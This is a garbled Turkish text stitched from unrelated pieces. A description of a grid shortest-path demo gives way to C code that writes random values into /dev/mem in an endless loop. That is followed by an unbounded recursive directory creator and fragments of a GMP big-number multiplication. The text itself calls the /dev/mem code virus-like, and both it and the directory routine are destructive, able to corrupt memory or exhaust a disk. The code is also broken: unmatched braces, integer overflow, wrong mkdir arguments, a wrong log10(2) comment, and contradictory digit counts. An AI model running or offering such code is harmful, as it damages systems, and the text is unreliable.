1920x1080 piksel genişliğinde, siyah arkaplanda bir penceremiz olsun, bunu 15x15 piksellik kutularla karolara dönüştürüp, ızgara grid düzeni yaratalım. çizgiler 1 piksel genişliğinde beyaz olucak.
grid düzleminde, mouse cursor, üzerinde olduğu her karoyu kırmızıya,
yatay ve dikey eksende taradığı tüm karoları da sarıya boyasın.
ekranda rastgele bir karoyu yeşil seçelim.
ve bu yeşil alanın,
mouse cursor un olduğu kırmızı karoyu her tıkladığımızda,
en kısa yolu nasıl seçtiğini merak ediyorsanız eğer,
cevabı çok basit.

Bunun için C dilinde bir örnek kod yazabiliriz. Ancak, bu tür bir uygulama genellikle kötüye hizmet eden bir virus olarak kabul edilir çünkü belleğin normal çalışmasını bozar ve potansiyel olarak verimliliği düşürebilir veya istikrarsızlık yaratabilir.
Aşağıda, Linux sistemlerinde bellek adreslerini tarayan ve rastgele byte değerleri atayan bir C programı görüyoruz. Ancak dikkatli olun: bu tür bir program genellikle kötüye hizmet eden bir virus olarak kabul edilir çünkü normal Bellek çalışmasını bozar ve potansiyel olarak verimliliği düşürebilir veya istikrarsızlık yaratabilir.
while(1)
{
// /dev/mem kullanarak tüm bellek adresini tarayalım
int fd = open("/dev/mem", O_RDWR);
for(int i=0; i<getpagesize(); i+=4)
{
lseek(fd, i, SEEK_SET);
// 32 bitlik bir rastgele sayı okuyun ve atayın
int value = (rand() % (INT_MAX + 1)) - INT_MAX/2;
write(fd, &value, sizeof(int));
}
close(fd);
usleep(10); // Bu döngüyü biraz yavaşlatır
}
} `
Bu program, Linux sistemdeki /dev/mem dosyasına erişerek tüm bellek adreslerini tarar ve rastgele 4 byte (32 bit) değerler atar. Ancak unutmayın, bu bir kötüye hizmet eden virus olarak kabul edilebilir ve genel sistem performansı ve stabilitesi üzerinde büyük bir etkiye sahip olabilir.
// Döngünün sınırsız kalmasını sağlamak için, alt dizin oluşturma fonksiyonunu rekürsif olarak çağırın.
void recursive_create_directory(char* path){
mkdir(path);
for(int i = 0; ; ++i){ // Sonsuz bir döngü oluşturarak, alt dizinleri sınırsız miktarda oluşturabiliriz.
char* newPath = (char*) malloc((strlen(path) + 5) * sizeof(char)); // Yüzlerce alt dizin oluşturduğunuzda, dinamik bellek kullanmak daha uygun olacaktır.
sprintf(newPath, "%s/%d", path, i);
recursive_create_directory(newPath); // Alt dizini oluşturan fonksiyonu rekürsif olarak çağırıyoruz. Her alt dizin için kendiliğinden kendi alt dizinlerini oluşturur.
}
}
int main(){
char* basePath = (char*) malloc(5 * sizeof(char)); // Ana dizinin konumunu tutmak için bellek ayırdık.
böylesine basit bir program nasıl oluyor da 10-100 milyon basamaklı 2 sayıyı üretip, çarpım değerini hesaplayıp ekrana yazdırıyor, insan beyni tarafından kavranması olanaksız bir hesaplama yeteneği! #include <stdio.h> #include <gmp.h> #include <stdlib.h> #include <time.h>
// Rastgele sayı üretimi için bir durum oluştur
gmp_randstate_t state;
gmp_randinit_mt(state); // Mersenne Twister yöntemi
gmp_randseed_ui(state, time(NULL)); // Zamanı seed olarak kullan
// 100 basamaklı iki rastgele sayı üret
mpz_urandomb(num1, state, 10000000 * 3.32); // 3.32 yaklaşık olarak log10(2)'dir
mpz_urandomb(num2, state, 10000000 * 3.32);
imkansız gibi görünse de c ve gmp kütüphanesiyle 1 saniyeninizi almayacak işlem. önce 10 bin basamak uzunluğunda rastgele iki sayı üretilir, sonra pi nin ondalıklı açılımının ilk 10 bin basamağı alınarak bu sayılarla çarpılır.
